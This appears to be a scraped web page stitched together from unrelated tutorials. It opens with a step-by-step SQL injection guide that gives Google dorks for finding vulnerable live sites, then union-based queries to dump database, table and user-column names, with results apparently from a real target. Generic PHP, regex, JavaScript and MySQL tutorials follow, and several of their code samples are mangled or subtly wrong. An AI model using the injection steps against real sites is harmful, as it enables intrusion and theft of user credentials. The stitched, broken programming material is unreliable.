SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.


Key Concepts of a SQL Injection Attack

SQL injection is a software vulnerability that occurs when data entered by users is sent to the SQL interpreter as a part of an SQL query
Attackers provide specially crafted input data to the SQL interpreter and trick the interpreter to execute unintended commands
Attackers utilize this vulnerability by providing specially crafted input data to the SQL interpreter in such a manner that the interpreter is not able to distinguish between the intended commands and the attacker’s specially crafted data. The interpreter is tricked into executing unintended commands
a SQL Injection attack exploits security vulnerabilities at the database layer. By exploiting the SQL injection flaw, attackers can create, read, modify, or delete sensitive data

Step-by-Step tutorial for SQL Injection

Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we’ll provide a list of vulnerable sites.

Dorks:
“inurl:index.php?catid=”
“inurl:news.php?catid=”
“inurl:news.php?id=”
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=

and you can also write your own.

How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
hxxp://www.example.com/index.php?catid=1

Add a ‘ (apos) at the end of the URL. Such that the URL looks like
hxxp://www.example.com/index.php?catid=1’

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you’ll get after appending the apostrophe are:
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an ‘order by’ statement to the URL.
eg. hxxp://www.example.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an ‘Union Select’ statement to the URL. Also precede the number after “id=” with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. hxxp://www.example.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we’ll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version
We’ll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg. hxxp://www.example.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You’ll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4: Expolit
To get list of databases:
hxxp://www.example.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata–

Result will display a list of databases on the site. Here on, we’ll write the results we have got from our test.
Result: information_schema,vrk_mlm

To know the current database in use:
hxxp://www.example.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6–
Result: vrk_mlm

To get the current user:
hxxp://www.example.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6–
Result: vrk_4mlm@localhost

To get the tables:
hxxp://www.example.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()–
Result: administrator,category,product,users

We’ll concentrate our attack on the users table.

To get the columns:
hxxp://www.example.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()–
Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

Every company follows a different coding standard based on their best practices. Coding standard is required because there may be many developers working on different modules so if they will start inventing their own standards then source will become very un-manageable and it will become difficult to maintain that source code in future.

Here are several reasons why to use coding specifications:

Your peer programmers have to understand the code you produce. A coding standard acts as the blueprint for all the team to decipher the code.

Simplicity and clarity achieved by consistent coding saves you from common mistakes.

If you revise your code after some time then it becomes easy to understand that code.

Its industry standard to follow a particular standard to being more quality in software.

There are few guidelines which can be followed while coding in PHP.

Indenting and Line Length – Use an indent of 4 spaces and don’t use any tab because different computers use different setting for tab. It is recommended to keep lines at approximately 75-85 characters long for better code readability.

Control Structures – These include if, for, while, switch, etc. Control statements should have one space between the control keyword and opening parenthesis, to distinguish them from function calls. You are strongly encouraged to always use curly braces even in situations where they are technically optional.

Examples:

if ((condition1) || (condition2)) {
action1;
} elseif ((condition3) && (condition4)) {
action2;
} else {
default action;
}
You can writ eswitch statements as follows:

switch (condition) {
case 1:
action1;
break;

case 2:
action2;
break;

default:
defaultaction;
break;
}
Function Calls – Functions should be called with no spaces between the function name, the opening parenthesis, and the first parameter; spaces between commas and each parameter, and no space between the last parameter, the closing parenthesis, and the semicolon. Here’s an example:

$var = foo($bar, $baz, $quux);
Function Definitions – Function declarations follow the “BSD/Allman style”:

function fooFunction($arg1, $arg2 = ”)
{
if (condition) {
statement;
}
return $val;
}
Comments – C style comments (/* */) and standard C++ comments (//) are both fine. Use of Perl/shell style comments (#) is discouraged.

PHP Code Tags – Always use to delimit PHP code, not the shorthand. This is required for PHP compliance and is also the most portable way to include PHP code on differing operating systems and setups.

Variable Names –

Use all lower case letters
Use ‘_’ as the word separator.
Global variables should be prepended with a ‘g’.
Global constants should be all caps with ‘_’ separators.
Static variables may be prepended with ‘s’.
Make Functions Reentrant – Functions should not keep static variables that prevent a function from being reentrant.

Alignment of Declaration Blocks – Block of declarations should be aligned.

One Statement Per Line – There should be only one statement per line unless the statements are very closely related.

Short Methods or Functions – Methods should limit themselves to a single page of code.

There could be many more points which should be considered while writing your PHP program. Over all intension should be to be consistent throughout of the code programming and it will be possible only when you will follow any coding standard. YOu can device your own standard if you like something different.

Regular expressions are nothing more than a sequence or pattern of characters itself. They provide the foundation for pattern-matching functionality.

Using regular expression you can search a particular string inside a another string, you can replace one string by another string and you can split a string into many chunks.

PHP offers functions specific to two sets of regular expression functions, each corresponding to a certain type of regular expression. You can use any of them based on your comfort.

POSIX Regular Expressions

PERL Style Regular Expressions

POSIX Regular Expressions:

The structure of a POSIX regular expression is not dissimilar to that of a typical arithmetic expression: various elements (operators) are combined to form more complex expressions.

The simplest regular expression is one that matches a single character, such as g, inside strings such as g, haggle, or bag.

Lets give explaination for few concepts being used in POSIX regular expression. After that we will introduce you wih regular expression related functions.

Brackets

Brackets ([]) have a special meaning when used in the context of regular expressions. They are used to find a range of characters.

Expression Description
[0-9] It matches any decimal digit from 0 through 9.
[a-z] It matches any character from lowercase a through lowercase z.
[A-Z] It matches any character from uppercase A through uppercase Z.
[a-Z] It matches any character from lowercase a through uppercase Z.
The ranges shown above are general; you could also use the range [0-3] to match any decimal digit ranging from 0 through 3, or the range [b-v] to match any lowercase character ranging from b through v.

Quantifiers:

The frequency or position of bracketed character sequences and single characters can be denoted by a special character. Each pecial character having a specific connotation. The +, *, ?, {int. range}, and $ flags all follow a character sequence.

Expression Description
p+ It matches any string containing at least one p.
p* It matches any string containing zero or more p’s.
p? It matches any string containing zero or more p’s. This is just an alternative way to use p*.
p{N} It matches any string containing a sequence of N p’s
p{2,3} It matches any string containing a sequence of two or three p’s.
p{2, } It matches any string containing a sequence of at least two p’s.
p$ It matches any string with p at the end of it.
^p It matches any string with p at the beginning of it.
Examples:

Following examples will clear your concepts about matching chracters.

Expression Description
[^a-zA-Z] It matches any string not containing any of the characters ranging from a through z and A through Z.
p.p It matches any string containing p, followed by any character, in turn followed by another p.
^.{2}$ It matches any string containing exactly two characters.
(.*) It matches any string enclosed within and .
p(hp)* It matches any string containing a p followed by zero or more instances of the sequence hp.
Predefined Character Ranges

For your programming convenience several predefined character ranges, also known as character classes, are available. Character classes specify an entire range of characters, for example, the alphabet or an integer set:

Expression Description
[[:alpha:]] It matches any string containing alphabetic characters aA through zZ.
[[:digit:]] It matches any string containing numerical digits 0 through 9.
[[:alnum:]] It matches any string containing alphanumeric characters aA through zZ and 0 through 9.
[[:space:]] It matches any string containing a space.
PHP’s Regexp POSIX Functions

PHP currently offers seven functions for searching strings using POSIX-style regular expressions:

Function Description
ereg() The ereg() function searches a string specified by string for a string specified by pattern, returning true if the pattern is found, and false otherwise.
ereg_replace() The ereg_replace() function searches for string specified by pattern and replaces pattern with replacement if found.
eregi() The eregi() function searches throughout a string specified by pattern for a string specified by string. The search is not case sensitive.
eregi_replace() The eregi_replace() function operates exactly like ereg_replace(), except that the search for pattern in string is not case sensitive.
split() The split() function will divide a string into various elements, the boundaries of each element based on the occurrence of pattern in string.
spliti() The spliti() function operates exactly in the same manner as its sibling split(), except that it is not case sensitive.
sql_regcase() The sql_regcase() function can be thought of as a utility function, converting each character in the input parameter string into a bracketed expression containing two characters.
PERL Style Regular Expressions:

Perl-style regular expressions are similar to their POSIX counterparts. The POSIX syntax can be used almost interchangeably with the Perl-style regular expression functions. In fact, you can use any of the quantifiers introduced in the previous POSIX section.

Lets give explaination for few concepts being used in PERL regular expressions. After that we will introduce you wih regular expression related functions.

Metacharacters

A metacharacter is simply an alphabetical character preceded by a backslash that acts to give the combination a special meaning.

For instance, you can search for large money sums using the ‘\d’ metacharacter: /([\d]+)000/, Here \d will search for any string of numerical character.

Following is the list of metacharacters which can be used in PERL Style Regular Expressions.

Character Description
. a single character
\s a whitespace character (space, tab, newline)
\S non-whitespace character
\d a digit (0-9)
\D a non-digit
\w a word character (a-z, A-Z, 0-9, _)
\W a non-word character
[aeiou] matches a single character in the given set
[^aeiou] matches a single character outside the given set
(foo|bar|baz) matches any of the alternatives specified
Modifiers

Several modifiers are available that can make your work with regexps much easier, like case sensitivity, searching in multiple lines etc.

Modifier Description
i Makes the match case insensitive
m Specifies that if the string has newline or carriage
return characters, the ^ and $ operators will now
match against a newline boundary, instead of a
string boundary
o Evaluates the expression only once
s Allows use of . to match a newline character
x Allows you to use white space in the expression for clarity
g Globally finds all matches
cg Allows a search to continue even after a global match fails
PHP’s Regexp PERL Compatible Functions

PHP offers following functions for searching strings using Perl-compatible regular expressions:

Function Description
preg_match() The preg_match() function searches string for pattern, returning true if pattern exists, and false otherwise.
preg_match_all() The preg_match_all() function matches all occurrences of pattern in string.
preg_replace() The preg_replace() function operates just like ereg_replace(), except that regular expressions can be used in the pattern and replacement input parameters.
preg_split() The preg_split() function operates exactly like split(), except that regular expressions are accepted as input parameters for pattern.
preg_grep() The preg_grep() function searches all elements of input_array, returning all elements matching the regexp pattern.
preg_ quote() Quote regular expression characters

PHP Error Handling :

Error handling is the process of catching errors raised by your program and then taking appropriate action. If you would handle errors properly then it may lead to many unforeseen consequences.

Its very simple in PHP to handle an errors.

Using die() function:

While wirting your PHP program you should check all possible error condition before going ahead and take appropriate action when required.

Try following example without having /tmp/test.xt file and with this file.


This way you can write an efficient code. Using abive technique you can stop your program whenever it errors out and display more meaningful and user friendly meassage.

Defining Custom Error Handling Function:

You can write your own function to handling any error. PHP provides you a framwork to define error handling function.

This function must be able to handle a minimum of two parameters (error level and error message) but can accept up to five parameters (optionally: file, line-number, and the error context):

Syntax

error_function(error_level,error_message, error_file,error_line,error_context);

Parameter Description
error_level Required – Specifies the error report level for the user-defined error. Must be a value number.
error_message Required – Specifies the error message for the user-defined error
error_file Optional – Specifies the filename in which the error occurred
error_line Optional – Specifies the line number in which the error occurred
error_context Optional – Specifies an array containing every variable and their values in use when the error occurred
Possible Error levels

These error report levels are the different types of error the user-defined error handler can be used for. These values cab used in combination using | operator

Value Constant Description
1 E_ERROR Fatal run-time errors. Execution of the script is halted
2 E_WARNING Non-fatal run-time errors. Execution of the script is not halted
4 E_PARSE Compile-time parse errors. Parse errors should only be generated by the parser.
8 E_NOTICE Run-time notices. The script found something that might be an error, but could also happen when running a script normally
16 E_CORE_ERROR Fatal errors that occur during PHP’s initial startup.
32 E_CORE_WARNING Non-fatal run-time errors. This occurs during PHP’s initial startup.
256 E_USER_ERROR Fatal user-generated error. This is like an E_ERROR set by the programmer using the PHP function trigger_error()
512 E_USER_WARNING Non-fatal user-generated warning. This is like an E_WARNING set by the programmer using the PHP function trigger_error()
1024 E_USER_NOTICE User-generated notice. This is like an E_NOTICE set by the programmer using the PHP function trigger_error()
2048 E_STRICT Run-time notices. Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code.
4096 E_RECOVERABLE_ERROR Catchable fatal error. This is like an E_ERROR but can be caught by a user defined handle (see also set_error_handler())
8191 E_ALL All errors and warnings, except level E_STRICT (E_STRICT will be part of E_ALL as of PHP 6.0)
All the above error level can be set using following PHP built-in library function where level cab be any of the value defined in above table.

int error_reporting ( [int $level] )
Following is the way you can create one error handling function:

Error: [$errno] $errstr – $error_file:$error_line”;
echo “
“;
echo “Terminating PHP Script”;
die();
}
?>
Once you define your custom error handler you need to set it using PHP built-in library set_error_handler function. Now lets examine our example by calling a function which does not exist.

Error: [$errno] $errstr – $error_file:$error_line”;
echo “
“;
echo “Terminating PHP Script”;
die();
}
//set error handler
set_error_handler(“handleError”);

//trigger error
myFunction();
?>
Exceptions Handling:

PHP 5 has an exception model similar to that of other programming languages. Exceptions are important and provides a better control over error handling.

Lets explain thre new keyword related to exceptions.

Try – A function using an exception should be in a “try” block. If the exception does not trigger, the code will continue as normal. However if the exception triggers, an exception is “thrown”.

Throw – This is how you trigger an exception. Each “throw” must have at least one “catch”.

Catch – – A “catch” block retrieves an exception and creates an object containing the exception information.

When an exception is thrown, code following the statement will not be executed, and PHP will attempt to find the first matching catch block. If an exception is not caught, a PHP Fatal Error will be issued with an “Uncaught Exception …

An exception can be thrown, and caught (“catched”) within PHP. Code may be surrounded in a try block.

Each try must have at least one corresponding catch block. Multiple catch blocks can be used to catch different classes of exeptions.

Exceptions can be thrown (or re-thrown) within a catch block.

Example:

Following is the piece of code, copy and paste this code into a file and verify the result.

getMessage(), “\n”;
}

// Continue execution
echo ‘Hello World’;
?>
In the above example $e->getMessage function is uded to get error message. There are following functions which can be used from Exception class.

getMessage()- message of exception

getCode() – code of exception

getFile() – source filename

getLine() – source line

getTrace() – n array of the backtrace()

getTraceAsString() – formated string of trace

Creating Custom Exception Handler:

You can define your own custome excpetion handler. Use following function to set a user-defined exception handler function.

string set_exception_handler ( callback $exception_handler )
Here exception_handler is the name of the function to be called when an uncaught exception occurs. This function must be defined before calling set_exception_handler().

Example:

getMessage(), “\n”;
}

set_exception_handler(‘exception_handler’);

throw new Exception(‘Uncaught Exception’);

echo “Not Executed\n”;
?>

What is JavaScript?
A1: JavaScript is a general-purpose programming language designed to let programmers of all skill levels control the behavior of software objects. The language is used most widely today in Web browsers whose software objects tend to represent a variety of HTML elements in a document and the document itself. But the language can be–and is–used with other kinds of objects in other environments. For example, Adobe Acrobat Forms uses JavaScript as its underlying scripting language to glue together objects that are unique to the forms generated by Adobe Acrobat. Therefore, it is important to distinguish JavaScript, the language, from the objects it can communicate with in any particular environment. When used for Web documents, the scripts go directly inside the HTML documents and are downloaded to the browser with the rest of the HTML tags and content.

A2:JavaScript is a platform-independent,event-driven, interpreted client-side scripting and programming language developed by Netscape Communications Corp. and Sun Microsystems.

How is JavaScript different from Java?
JavaScript was developed by Brendan Eich of Netscape; Java was developed at Sun Microsystems. While the two languages share some common syntax, they were developed independently of each other and for different audiences. Java is a full-fledged programming language tailored for network computing; it includes hundreds of its own objects, including objects for creating user interfaces that appear in Java applets (in Web browsers) or standalone Java applications. In contrast, JavaScript relies on whatever environment it’s operating in for the user interface, such as a Web document’s form elements.
JavaScript was initially called LiveScript at Netscape while it was under development. A licensing deal between Netscape and Sun at the last minute let Netscape plug the “Java” name into the name of its scripting language. Programmers use entirely different tools for Java and JavaScript. It is also not uncommon for a programmer of one language to be ignorant of the other. The two languages don’t rely on each other and are intended for different purposes. In some ways, the “Java” name on JavaScript has confused the world’s understanding of the differences between the two. On the other hand, JavaScript is much easier to learn than Java and can offer a gentle introduction for newcomers who want to graduate to Java and the kinds of applications you can develop with it.

What’s relationship between JavaScript and ECMAScript?
ECMAScript is yet another name for JavaScript (other names include LiveScript). The current JavaScript that you see supported in browsers is ECMAScript revision 3.
How do you submit a form using Javascript?
Use document.forms[0].submit();
(0 refers to the index of the form – if you have more than one form in a page, then the first one has the index 0, second has index 1 and so on).

How do we get JavaScript onto a web page?
You can use several different methods of placing javascript in you pages.
You can directly add a script element inside the body of page.
1. For example, to add the “last updated line” to your pages, In your page text, add the following:

blah, blah, blah, blah, blah.

yada, yada, yada.

(Note: the first comment, “<--" hides the content of the script from browsers that don't understand javascript. The "// -->” finishes the comment. The “//” tells javascript that this is a comment so javascript doesn’t try to interpret the “–>”. If your audience has much older browsers, you should put this comments inside your javascript. If most of your audience has newer browsers, the comments can be omitted. For brevity, in most examples here the comments are not shown. )
The above code will look like this on Javascript enabled browsers,
2. Javascript can be placed inside the element
Functions and global variables typically reside inside the element.

Default Test Page

Javascript can be referenced from a separate file
Javascript may also a placed in a separate file on the server and referenced from an HTML page. (Don’t use the shorthand ending “

How to read and write a file using javascript?
I/O operations like reading or writing a file is not possible with client-side javascript. However , this can be done by coding a Java applet that reads files for the script.

How to detect the operating system on the client machine?
In order to detect the operating system on the client machine, the navigator.appVersion
string (property) should be used.

How can JavaScript make a Web site easier to use? That is, are there certain JavaScript techniques that make it easier for people to use a Web site?
JavaScript's greatest potential gift to a Web site is that scripts can make the page more immediately interactive, that is, interactive without having to submit every little thing to the server for a server program to re-render the page and send it back to the client. For example, consider a top-level navigation panel that has, say, six primary image map links into subsections of the Web site. With only a little bit of scripting, each map area can be instructed to pop up a more detailed list of links to the contents within a subsection whenever the user rolls the cursor atop a map area. With the help of that popup list of links, the user with a scriptable browser can bypass one intermediate menu page. The user without a scriptable browser (or who has disabled JavaScript) will have to drill down through a more traditional and time-consuming path to the desired content.

What are JavaScript types?
Number, String, Boolean, Function, Object, Null, Undefined.

How do you convert numbers between different bases in JavaScript?
Use the parseInt() function, that takes a string as the first parameter, and the base as a second parameter. So to convert hexadecimal 3F to decimal, use parseInt ("3F", 16);

How to create arrays in JavaScript?
We can declare an array like this
var scripts = new Array();
We can add elements to this array like this

scripts[0] = "PHP";
scripts[1] = "ASP";
scripts[2] = "JavaScript";
scripts[3] = "HTML";

Now our array scrips has 4 elements inside it and we can print or access them by using their index number. Note that index number starts from 0. To get the third element of the array we have to use the index number 2 . Here is the way to get the third element of an array.
document.write(scripts[2]);
We also can create an array like this
var no_array = new Array(21, 22, 23, 24, 25);

How do you target a specific frame from a hyperlink?
Include the name of the frame in the target attribute of the hyperlink. >My Page

What is a fixed-width table and its advantages?

Fixed width tables are rendered by the browser based on the widths of the columns in the first row, resulting in a faster display in case of large tables. Use the CSS style table-layout:fixed to specify a fixed width table.
If the table is not specified to be of fixed width, the browser has to wait till all data is downloaded and then infer the best width for each of the columns. This process can be very slow for large tables.

Example of using Regular Expressions for syntax checking in JavaScript

...
var re = new RegExp("^(&[A-Za-z_0-9]{1,}=[A-Za-z_0-9]{1,})*$");
var text = myWidget.value;
var OK = re.test(text);
if( ! OK ) {
alert("The extra parameters need some work.\r\n Should be something like: \"&a=1&c=4\"");
}

Q: What is the difference between .call() and .apply()?

The JavaScript Function prototype has two very powerful functions that are at the core of Javascript’s “everything is an object” mentality, including functions, Kubasik says.

“The really important part of this discussion is not that they remember which is which, but more that the interviewee understands that the “this” keyword is not as predictable as in other languages, and that functions can be applied to other objects, and generally be treated as data,” he says.

Q: Can you explain how inheritance works in JavaScript?

JavaScript has a somewhat unique inheritance model and a good understanding of it is crucial to using JavasScript in larger applications, Kubasik says. “We are looking for the applicant to discuss not only prototypes, and how that affects inheritance, but in what ways this can be more flexible than classical inheritance models seen in Java and C#.”

Here are 10 tips for getting great performance out of MySQL.

MySQL performance tip No. 1: Profile your workload

The best way to understand how your server spends its time is to profile the server’s workload. By profiling your workload, you can expose the most expensive queries for further tuning. Here, time is the most important metric because when you issue a query against the server, you care very little about anything except how quickly it completes.

The best way to profile your workload is with a tool such as MySQL Enterprise Monitor’s query analyzer or the pt-query-digest from the Percona Toolkit. These tools capture queries the server executes and return a table of tasks sorted by decreasing order of response time, instantly bubbling up the most expensive and time-consuming tasks to the top so that you can see where to focus your efforts.

Workload-profiling tools group similar queries together into one row, allowing you to see the queries that are slow, as well as the queries that are fast but executed many times.

MySQL performance tip No. 2: Understand the four fundamental resources
To function, a database server needs four fundamental resources: CPU, memory, disk, and network. If any of these is weak, erratic, or overloaded, then the database server is very likely to perform poorly.

Understanding the fundamental resources is important in two particular areas: choosing hardware and troubleshooting problems.

When choosing hardware for MySQL, ensure good-performing components all around. Just as important, balance them reasonably well against each other. Often, organizations will select servers with fast CPUs and disks but that are starved for memory. In some cases, adding memory is cheap way of increasing performance by orders of magnitude, especially on workloads that are disk-bound. This might seem counterintuitive, but in many cases disks are overutilized because there isn’t enough memory to hold the server’s working set of data.

Another good example of this balance pertains to CPUs. In most cases, MySQL will perform well with fast CPUs because each query runs in a single thread and can’t be parallelized across CPUs.

When it comes to troubleshooting, check the performance and utilization of all four resources, with a careful eye toward determining whether they are performing poorly or are simply being asked to do too much work. This knowledge can help solve problems quickly.

MySQL performance tip No. 3: Don’t use MySQL as a queue
Queues and queue-like access patterns can sneak into your application without your knowing it. For example, if you set the status of an item so that a particular worker process can claim it before acting on it, then you’re unwittingly creating a queue. Marking emails as unsent, sending them, then marking them as sent is a common example.

Queues cause problems for two major reasons: They serialize your workload, preventing tasks from being done in parallel, and they often result in a table that contains work in process as well as historical data from jobs that were processed long ago. Both add latency to the application and load to MySQL.

MySQL performance tip No. 4: Filter results by cheapest first
A great way to optimize MySQL is to do cheap, imprecise work first, then the hard, precise work on the smaller, resulting set of data.

For example, suppose you’re looking for something within a given radius of a geographical point. The first tool in many programmers’ toolbox is the great-circle (Haversine) formula for computing distance along the surface of a sphere. The problem with this technique is that the formula requires a lot of trigonometric operations, which are very CPU-intensive. Great-circle calculations tend to run slowly and make the machine’s CPU utilization skyrocket.

Before applying the great-circle formula, pare down your records to a small subset of the total, and trim the resulting set to a precise circle. A square that contains the circle (precisely or imprecisely) is an easy way to do this. That way, the world outside the square never gets hit with all those costly trig functions.

MySQL performance tip No. 5: Know the two scalability death traps
Scalability is not as vague as you may believe. In fact, there are precise mathematical definitions of scalability that are expressed as equations. These equations highlight why systems don’t scale as well as they should.

Take the Universal Scalability Law, a definition that is handy in expressing and quantifying a system’s scalability characteristics. It explains scaling problems in terms of two fundamental costs: serialization and crosstalk.

Parallel processes that must halt for something serialized to take place are inherently limited in their scalability. Likewise, if the parallel processes need to chat with each other all the time to coordinate their work, they limit each other.

Avoid serialization and crosstalk, and your application will scale much better. What does this translate into inside of MySQL? It varies, but some examples would be avoiding exclusive locks on rows. Queues, point No. 3 above, tend to scale poorly for this reason.

MySQL performance tip No. 6: Don’t focus too much on configuration
DBAs tend to spend a huge amount of time tweaking configurations. The result is usually not a big improvement and can sometimes even be very damaging. I’ve seen a lot of “optimized” servers that crashed constantly, ran out of memory, and performed poorly when the workload got a little more intense.

The defaults that ship with MySQL are one-size-fits-none and badly outdated, but you don’t need to configure everything. It’s better to get the fundamentals right and change other settings only if needed. In most cases, you can get 95 percent of the server’s peak performance by setting about 10 options correctly. The few situations where this doesn’t apply are going to be edge cases unique to your circumstances.

In most cases, server “tuning” tools aren’t recommended because they tend to give guidelines that don’t make sense for specific cases. Some even have dangerous, inaccurate advice coded into them — such as cache hit ratios and memory consumption formulas. These were never right, and they’ve gotten even less correct as time has passed.

MySQL performance tip No. 7: Watch out for pagination queries
Applications that paginate tend to bring the server to its knees. In showing you a page of results, with a link to go to the next page, these applications typically group and sort in ways that can’t use indexes, and they employ a LIMIT and offset that causes the server to do a lot of work generating, then discarding rows.

Optimizations can often be found in the user interface itself. Instead of showing the exact number of pages in the results and links to each page individually, you can just show a link to the next page. You can also prevent people from going to pages too far from the first page.

On the query side, instead of using LIMIT with offset, you can select one more row than you need, and when the user clicks the “next page” link, you can designate that final row as the starting point for the next set of results. For example, if the user viewed a page with rows 101 through 120, you would select row 121 as well; to render the next page, you’d query the server for rows greater than or equal to 121, limit 21.

MySQL performance tip No. 8: Save statistics eagerly, alert reluctantly
Monitoring and alerting are essential, but what happens to the typical monitoring system? It starts sending false positives, and system administrators set up email filtering rules to stop the noise. Soon your monitoring system is completely useless.

I like to think about monitoring in two ways: capturing metrics and alerting. It’s very important to capture and save all the metrics you possibly can because you’ll be glad to have them when you’re trying to figure out what changed in the system. Someday, a strange problem will crop up, and you’ll love the ability to point to a graph and show a change in the server’s workload.

MySQL performance tip No. 9: Learn the three rules of indexing
Indexing is probably the most misunderstood topic in databases because there are so many ways to get confused about how indexes work and how the server uses them. It takes a lot of effort to really understand what’s going on.

Indexes, when properly designed, serve three important purposes in a database server:

They let the server find groups of adjacent rows instead of single rows. Many people think the purpose of an index is to find individual rows, but finding single rows leads to random disk operations, which is slow. It’s much better to find groups of rows, all or most of which are interesting, than to find rows one at a time.
They let the server avoid sorting by reading the rows in a desired order. Sorting is costly. Reading rows in the desired order is much faster.
They let the server satisfy entire queries from the index alone, avoiding the need to access the table at all. This is variously known as a covering index or an index-only query.

If you can design your indexes and queries to exploit these three opportunities, you can make your queries several orders of magnitude faster.

MySQL performance tip No. 10: Leverage the expertise of your peers
Don’t try to go it alone. If you’re puzzling over a problem and doing what seems logical and sensible to you, that’s great. This will work about 19 times out of 20. The other time, you’ll go down a rabbit hole that will be very costly and time-consuming, precisely because the solution you’re trying seems to make a lot of sense.

Build a network of MySQL-related resources — and this goes beyond toolsets and troubleshooting guides. There are some extremely knowledgeable people lurking on mailing lists, forums, Q&A websites, and so on. Conferences, trade shows, and local user group events provide valuable opportunities for gaining insights and building relationships with peers who can help you in a pinch.

Databases tend to grow over time as they store more and more information. To ensure your database information can be accessed in the shortest time possible, you need to learn a few tricks to speed up data retrieval. For MySQL databases, you can use indexes and partitions to limit the amount of data that MySQL has to traverse to fetch query results, and use some other optimization tricks to further improve performance.

For a specific type of frequently accessed data, creating an index is the best way to speed things up. For example, if you have a table with 20 columns, of which one column is frequently accessed, you can create an index for that column to speed up lookups on it. If there are no indexes, MySQL performs a full table scan to retrieve data. It examines all the records in the table, one after another, until either the last record is read or the query is satisfied. With an index, however, MySQL can look up data without having to read each record of the table. As soon as a match is found in the index, you’re pointed to the data in the actual table. Think of it like an index in a book. When looking for a particular topic, you can either flip through the pages until you reach the end of the book or find what you’re looking for, or you can visit the index to reveal the page number for the topic you’re interested in.

When you create an index for a field, MySQL collects all the information in that particular column, sorts it, and then stores it in a unique object or file, separate from the table, along with references to the original table with the unsorted data.

Maintaining indexes does require additional resources. If you create an index for a table that is frequently updated, all the DELETE, INSERT, and UPDATE statements must also update the index, in addition to the data table itself. Frequent alterations on indexes place an additional load on the server and may slow down other important processes, so you shouldn’t create indexes for all fields, but only for ones that are often queried for information, and where the table is large enough (with several thousands of rows or more) to necessitate faster retrieval.

The way the indexing works also depends on the type of storage engine you use to create the tables for your MySQL database. Up until version 5.5, MyISAM was the default storage engine, but InnoDB has taken its place as the default as of MySQL 5.5 – though you can define the default storage engine in the my.cnf file or manually specify the engine to use when creating tables.

On top of this, there are several different types of indexes that you can use, such as B-Tree or Hash. Your choice of index depends on the storage engine you use.
Using Indexes

You can create an index for a table while creating the table itself, or create an index for existing tables. The following code creates a new table with an index on one of the columns:

CREATE TABLE records (
name VARCHAR(50),
age INT,
id_num INT, INDEX (id)

)

This creates an index named id for the id_num column on the table. For an existing table, the command would be CREATE INDEX id ON records(id_num).

To simultaneously create an index on multiple columns for an existing table, use a command like ALTER TABLE records ADD INDEX id(id_num), ADD INDEX name(name);.

As MySQL is unaware of the exact nature of data stored in a field, other than the data type (whether CHAR or INT), it will create an index using the full length of the data. So, if you have a table of songs, for instance, and you create an index on the 50-character name field, MySQL will store the entire length of the name for every song in the database. In a case like this, it might be wiser to store only the first 20 characters in the index, instead of the full length; that should give you enough characters to help you distinguish between songs. For large databases with very long columns, it would be a waste of space to store the entire name in the index.

You can restrict the length of the data to 20 characters by specifying it along with the name of the column, like so:

ALTER TABLE records ADD INDEX id(id_num), ADD INDEX name(name(20));

An improperly configured index can slow down a server by hoarding its resources, so you need to have a firm grasp of the underlying technology, particularly if you’re using the InnoDB storage engine. Take some time to familiarize yourself with the intricacies of InnoDB and how it works with primary key and secondary key indexes.
Partition MySQL Tables

The second trick, using partitions, is ideal for very large tables with several hundred thousand rows or more. While you can also partition tables with only several thousand rows, you will notice a remarkable difference in lookup times for the larger tables.

You can divide either a table’s rows (called horizontal partitioning) or columns (vertical partitioning) into partitions. When you do so, instead of traversing the entire table, MySQL queries only the relevant partition, which greatly reduces the lookup times.

A partition can have any number of rows or columns, but you should try to keep partitions relatively small compared to the size of the table if you want to see performance gains. Each table can be divided into 1,024 partitions at most.

